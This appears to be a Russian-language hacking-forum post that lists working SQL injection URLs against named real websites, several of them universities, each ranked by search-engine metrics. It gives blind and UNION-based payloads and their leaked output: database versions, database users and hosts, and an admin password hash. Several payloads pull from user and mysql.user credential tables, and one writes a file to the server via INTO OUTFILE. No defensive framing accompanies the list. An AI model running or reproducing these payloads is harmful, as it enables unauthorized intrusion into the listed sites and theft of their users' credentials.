→ Немного блинда

130 тиц, 2 PR

http://shintop.ru/novosibirsk/catalog_shop.php?action=item&id=1271300943%27+and+ substring((select+concat(version(),0x3a,username,0 x3a,user_password)+from+f_users+where+username=%27 admin%27+limit+0,1),1,1)=5--+

admin:$H$9...

--------------------------------------------------------------------------

6 PR

http://bot.fiu.edu/index.php?name=athletics'+and+substring(version(), 1,1)=4--+

Error == true;

--------------------------------------------------------------------------

275 тиц, 4 PR

http://www.igb.ru/rus/index.php?id=600&a=profile&uid=15+and+substring((s elect+version()),1,1)=5

Раньше было нормально, а сейчас на union select реагирует так, - "Уклонися от зла и сотвори благо".

--------------------------------------------------------------------------

220 тиц, 5 PR

http://www.your-people.ru/pbl.php/(66)and(substring(version(),1,1))=5

--------------------------------------------------------------------------

5200 тиц, 6 PR

http://www.finansmag.ru/blogs/post/(570)and(substring((select(version())),1,1))=5

--------------------------------------------------------------------------

90 тиц

http://www.marnava.ru/tur/(876)and(substring(version(),1,1))=5/*/type/1/cat/13/

--------------------------------------------------------------------------

450 тиц, 3 PR

http://www.soling.ru/news/?id=15+AND+SUBSTRING(select version(),1,1)=4/*

--------------------------------------------------------------------------

10 тиц, 7 PR

http://www.ncver.edu.au/newsevents/news/(issue_226)and(substring((select(version())),1,1)) =(5).html

--------------------------------------------------------------------------

60 тиц, 2 PR

http://www.inodetal.ru/parts.php?code=31715+and+substring(concat((select+ version()+from+information_schema.columns+limit+0, 1),1,1),1,1)=5

→ Немного с выводом

30 тиц, 1 PR

http://www.citytool.ru/catalogue/akkumulyatornie_udarnie_drelishurupoverti/?vendor_id=-305%27+union+select+1,2,group_concat(table_schema, 0x3a,table_name,0x3a,column_name),4+from+informati on_schema.columns+where+column_name+like+'%pass%'--+

5.0.45:citytoolsql@localhost:Login_citytool

--------------------------------------------------------------------------

30 тиц, 1 PR

http://www.bighunter.ru/iproducts.php?id=-11027+union+select+1,2,3,4,group_concat(username,0 x3a,passwd,0x3a,admin),6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24+from+db_grant--+

5.0.51a:bighunter@localhost:bighunter

--------------------------------------------------------------------------

550 тиц, 4 PR

http://www.dizel-status.ru/electro.php?raz=11&id=-7+union+select+1,2,version(),4,5,6,7--+

5.0.67-community-logenergo_dizel@localhostenergo_dizel

--------------------------------------------------------------------------

100 тиц, 4 PR

http://www.kopitan.ru/shop/?dir=77-1&pid=-141+union+select+1,2,3,4,5,6,7,concat(user,0x3a,pa ssword,0x3a,file_priv,0x3a,host),version(),10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45 ,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,6 2,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78, 79,80,81,82,83,84,85,86,87+from+mysql.user--+

4.0.27:root@pm9.zenon.net:kopitan

--------------------------------------------------------------------------

350 тиц, 5 PR

http://ftacademy.ru/science/nich/?show=nir&id=6+union+select+1,version(),3,4,5,6,7, 8--+

4.1.22-standard-log:academy_maybug@localhost:academy_site5

--------------------------------------------------------------------------

300 тиц, 4 PR

http://www.baimusic.ru/search/pianosearch.php?minprice=0.029999999329448&maxpric e=30740.099609375&keysnum=76&rid=-1+union+select+1,2,3,4,5,6,concat(table_name,0x3a, column_name),8,9,10,11,12,13,14,15,16+from+informa tion_schema.columns+where+column_name+like+0x25706 1737325--+

5.0.22-logianoshop@celsius.www.attrade.ruianoshop

--------------------------------------------------------------------------

475 тиц, 3 PR

http://www.g4rt.ru/game.php?genre_id=21&game_id=-46+union+select+1,version(),3,4,5,6,7,8,9--+

5.0.90-log:g4rt@localhost:g4rt

--------------------------------------------------------------------------

70 тиц, 3 PR

http://www.u-m-s.ru/tovar.php?id=1440%27+union+select+1,version(),3,4, 5,6,7--+

4.0.26-log:Uwww3689S@localhost:udb3689

--------------------------------------------------------------------------

90 тиц, 4 PR

Dump table in file.

http://www.poznay-mir.ru/hotel.php?uid=-106+union+select+0x7c2d31303620756e696f6e2073656c6 5637420312c276861636b6564272c3320696e746f206f75746 6696c6520272f746d702f616e7469636861742e70687027202 d2d207c,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,0x27,0x27--+&resort=76

5.0.87:root@zvm32.host.ruoznaymir

--------------------------------------------------------------------------

550 тиц, 4 PR

http://www.dizel-status.ru/electro.php?raz=89&id=-602+union+select+version()--+

5.0.67-community-log:energo_dizel@localhost:energo_dizel

--------------------------------------------------------------------------

110 тиц, 2 PR

http://www.sb-78.ru/documentation/?tidd=-508+union+select+1,2,group_concat(login,0x3a,pass, 0x3a,name,0x3a,access),4,5+from+users--+

5.0.32-Debian_7etch11-log:sbuser@localhost:Gordeev_main

--------------------------------------------------------------------------

5 PR

http://www.sareg.hacettepe.edu.tr/salih.php?salih=instrumentationsdet&photo=-1+union+select+1,group_concat(table_name,0x3a,colu mn_name),3,4,5,6,7+from+information_schema.columns +where+column_name+like+0x257061737325--+

5.0.51a-log:sareg@web.hacettepe.edu.tr:sareg

--------------------------------------------------------------------------

10 тиц, 5 PR

http://www.iphils.uj.edu.pl/?l=pl&p=1&r=-27+union+select+1,2,3,version%28%29,5,6,7,8,9,10,1 1,12,13,14,15--+

5.0.37:fil@localhosthilss